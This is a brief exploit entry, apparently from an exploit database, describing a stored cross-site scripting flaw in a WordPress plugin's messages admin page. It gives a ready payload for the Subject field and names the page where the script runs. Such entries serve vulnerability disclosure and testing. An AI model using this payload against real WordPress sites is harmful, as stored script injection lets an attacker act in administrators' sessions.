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## https://sploitus.com/exploit?id=WPEX-ID:F90C528B-8C3A-4F9A-AA36-099C24ABE082
Add/Edit a message and put the following payload in the Subject field: "><img src onerror=prompt(/XSS/)>

The XSS will be triggered in the Messages list (/wp-admin/admin.php?page=bbpp_thankmelater)